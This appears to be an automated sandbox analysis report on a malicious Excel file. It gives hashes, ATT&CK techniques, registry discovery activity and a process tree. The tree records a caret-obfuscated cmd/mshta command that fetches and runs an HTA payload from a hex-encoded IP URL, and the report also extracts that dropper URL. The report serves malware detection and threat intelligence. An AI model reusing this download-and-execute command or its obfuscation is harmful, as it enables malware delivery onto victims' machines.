7711d6fb56bb07b0db1056116eebfe905174f3772177006c61a7d2ecb1768311

Analysis

max time kernel
147s
max time network
168s
platform
windows10_x64
resource
win10-en-20211208
submitted
28-01-2022 01:47

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General

Target

file-1.xls
Size

64KB
MD5

be6c14686243f70182f1b46492197f43
SHA1

56be88f03cddb41f01cde7839441aef10817e364
SHA256

01f595d0e040fa2450c3a453aa31cab55a53e706896cf7446a6549c69c25a83a
SHA512

dbef867376fe6dea0414a8f82b21d264921365865e2c1acbe5fd314c2dfd2286e5002af0289869acf0e5b60485d420e8f582292c90e727c4b0eea3939b2746e4

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xc12a24f5/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3068	952	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

37 3232 mshta.exe

flow	pid	process
37	3232	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

952 EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
952	EXCEL.EXE
952	EXCEL.EXE
952	EXCEL.EXE
952	EXCEL.EXE
952	EXCEL.EXE
952	EXCEL.EXE
952	EXCEL.EXE
952	EXCEL.EXE
952	EXCEL.EXE
952	EXCEL.EXE
952	EXCEL.EXE
952	EXCEL.EXE
952	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 952 wrote to memory of 3068	952	EXCEL.EXE	cmd.exe
PID 952 wrote to memory of 3068	952	EXCEL.EXE	cmd.exe
PID 3068 wrote to memory of 3232	3068	cmd.exe	mshta.exe
PID 3068 wrote to memory of 3232	3068	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\file-1.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:952

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3068

C:\Windows\system32\mshta.exe
mshta http://0xc12a24f5/cc.html
3⤵
- Blocklisted process makes network request
PID:3232

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/952-118-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Filesize
64KB

Download
memory/952-119-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Filesize
64KB

Download
memory/952-120-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Filesize
64KB

Download
memory/952-121-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Filesize
64KB

Download
memory/952-124-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Filesize
64KB

Download
memory/952-131-0x00007FFDCC4B0000-0x00007FFDCC4C0000-memory.dmp

Filesize
64KB

Download
memory/952-132-0x00007FFDCC4B0000-0x00007FFDCC4C0000-memory.dmp

Filesize
64KB

Download
memory/952-320-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Filesize
64KB

Download
memory/952-321-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Filesize
64KB

Download
memory/952-322-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Filesize
64KB

Download
memory/952-323-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Filesize
64KB

Download